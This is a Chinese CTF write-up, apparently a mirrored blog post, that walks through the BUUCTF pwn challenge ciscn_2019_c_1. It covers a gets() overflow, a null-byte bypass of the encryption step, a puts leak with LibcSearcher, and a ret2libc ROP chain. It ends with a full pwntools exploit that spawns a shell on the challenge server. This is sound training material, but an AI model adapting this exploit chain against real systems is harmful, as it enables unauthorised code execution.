zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN6——ciscn_2019_c_1

    [BUUCTF]PWN6——ciscn_2019_c_1

    题目网址:https://buuoj.cn/challenges#ciscn_2019_c_1

    步骤
    例行检查,64位,开启了nx保护
    在这里插入图片描述
    nc一下,看看输入点的字符串,三个选项加密、解密、退出
    在这里插入图片描述
    用64位ida打开,先是shift+f12查看一下程序里的字符串
    在这里插入图片描述
    没有发现system函数和字符串“bin/sh”,先根据输入点的字符串查看一下主要函数
    在这里插入图片描述
    就像一开始说的程序的功能就是加密和解密,看伪代码可以知道,只有选1的时候才会调用encrypt()这个应该是加密函数,其余选项没有利用点

    看一下encrypt()伪代码
    在这里插入图片描述

    输入点在第10行gets函数没有限制读入的长度,可以造成溢出,这题没有现成的system(’/bin/sh‘)或者cat flag可以让我们直接利用,所以需要我们自己想办法让程序调用这些命令

    从11行到33行是我们的加密函数的加密过程部分,它会对我们输入的字符串进行操作,为了保证我们构造的rop不会被破坏,要想办法绕过加密,14行的if判断里有个strlen函数,strlen的作用是得知字符串的长度,但是遇到’‘就会停止,所以我们在构造rop的时候可以在字符串前加上’‘来绕过加密

    这一类题目的基本做法

    1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
    用的libc的版本。

    2.程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
    量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量

    3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
    行system(’/bin/sh‘)这样的命令

    利用过程

    可以在上面的程序伪代码中看到,程序执行过了puts函数,我们就利用它的plt和got地址来泄露我们的 ibc版本,这里用到了一个延迟绑定技术,具体的可以看我下面给的这个链接,这个老师具体讲了一下这种类型题目的做法,还有延迟绑定技术
    https://m.weishi100.com/mweb/single/?id=2567662

    1.泄露libc版本

    r.sendlineafter('choice!
    ','1')
    payload=''+'a'*(0x50-1+8)   #首位填‘’,绕过加密,之后填上a覆盖到返回地址
    payload+=p64(pop_rdi)
    payload+=p64(puts_got)   #设置rdi寄存器的值为puts的got表地址
    payload+=p64(puts_plt)   #调用puts函数,输出的是puts的got表地址
    payload+=p64(main)       #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
                             #让它返回到main函数,这样我们才可以再一次利用输入点构造rop 
    
    r.sendlineafter('encrypted
    ',payload)
    r.recvline()
    r.recvline()
    
    puts_addr=u64(r.recvuntil('
    ')[:-1].ljust(8,''))#接收程序返回的地址
                                                       #lijust(8,‘’),不满8位的用0补足
    libc=LibcSearcher('puts',puts_addr)  #利用LibcSearcher模块找到匹配的libc版本                   
    

    没有安装LibcSearcher模块的可以根据下面的这个链接下载安装
    https://blog.csdn.net/neuisf/article/details/103829683

    下面粘贴一个在线查找libc版本的网站: https://libc.blukat.me/
    我是比较习惯于用LibcSearcher来找libc版本,我们也可以在上面那个网站上利用函数的末3位找到libc版本
    在这里插入图片描述
    在这里插入图片描述

    [:-1]是python里的切片用法,执行过程如下,上述代码中这样写是为了舍弃接收到的字符串最后的’x0’
    在这里插入图片描述
    我这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
    32位程序运行执行指令的时候直接去内存地址寻址执行
    64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序
    在这里插入图片描述

    因此我这题需要借用寄存器来传参

    ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"
    

    在这里插入图片描述

    2.算出偏移量,算出system函数和“bin/sh”字符串地址

    libc=LibcSearcher('puts',puts_addr)     #找到libc版本
    offset=puts_addr-libc.dump('puts')     #算出偏移量
    binsh=offset+libc.dump('str_bin_sh')   #偏移量+libc函数地址=实际函数地址
    system=offset+libc.dump('system')
    

    3.构造rop执行system(‘/bin/sh’)

    payload=''+'a'*(0x50-1+8)
    payload+=p64(ret)
    payload+=p64(pop_rdi)
    payload+=p64(binsh)
    payload+=p64(system)
    

    特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐

    ROPgadget  --binary ciscn_2019_c_1 |grep ret
    

    在这里插入图片描述
    完整exp:

    from pwn import*
    from LibcSearcher import*
    
    r=remote('node3.buuoj.cn',28214)
    elf=ELF('./ciscn_2019_c_1')
    
    main=0x400b28
    pop_rdi=0x400c83
    ret=0x4006b9
    
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    
    r.sendlineafter('choice!
    ','1')
    payload=''+'a'*(0x50-1+8)
    payload+=p64(pop_rdi)
    payload+=p64(puts_got)
    payload+=p64(puts_plt)
    payload+=p64(main)
    
    r.sendlineafter('encrypted
    ',payload)
    r.recvline()
    r.recvline()
    
    puts_addr=u64(r.recvuntil('
    ')[:-1].ljust(8,''))
    print hex(puts_addr)
    
    libc=LibcSearcher('puts',puts_addr)
    offset=puts_addr-libc.dump('puts')
    binsh=offset+libc.dump('str_bin_sh')
    system=offset+libc.dump('system')
    
    r.sendlineafter('choice!
    ','1')
    
    payload=''+'a'*(0x50-1+8)
    payload+=p64(ret)
    payload+=p64(pop_rdi)
    payload+=p64(binsh)
    payload+=p64(system)
    
    r.sendlineafter('encrypted
    ',payload)
    
    r.interactive()
    

    运行的时候发现找到了两个匹配的libc版本,自己尝试一下,这边应该选1
    在这里插入图片描述

  • 相关阅读:
    DBA_Oracle Erp重启Database/Application/Concurrent/Apache(案例)
    DBA_Oracle Erp R12安装虚拟机镜像IP修正(案例)
    RMAN_学习实验2_RMAN Duplicate复制数据库过程(案例)
    RMAN_学习实验1_RMAN备份标准过程(案例)
    PLSQL_基础系列12_替换函数用法REPLACE / TRANSLATE / REGEXP_REPLACE
    PLSQL_基础系列11_递归和层次查询CONNECT BY(案例)
    DBA_Oracle Sort排序处理空间耗用(概念)
    DBA_Oracle性能优化的基本方法概述(方法论)
    DBA_Oracle海量数据处理分析(方法论)
    PLSQL_基础系列10_子查询WITH AS(案例)
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273728.html
Copyright © 2011-2022 走看看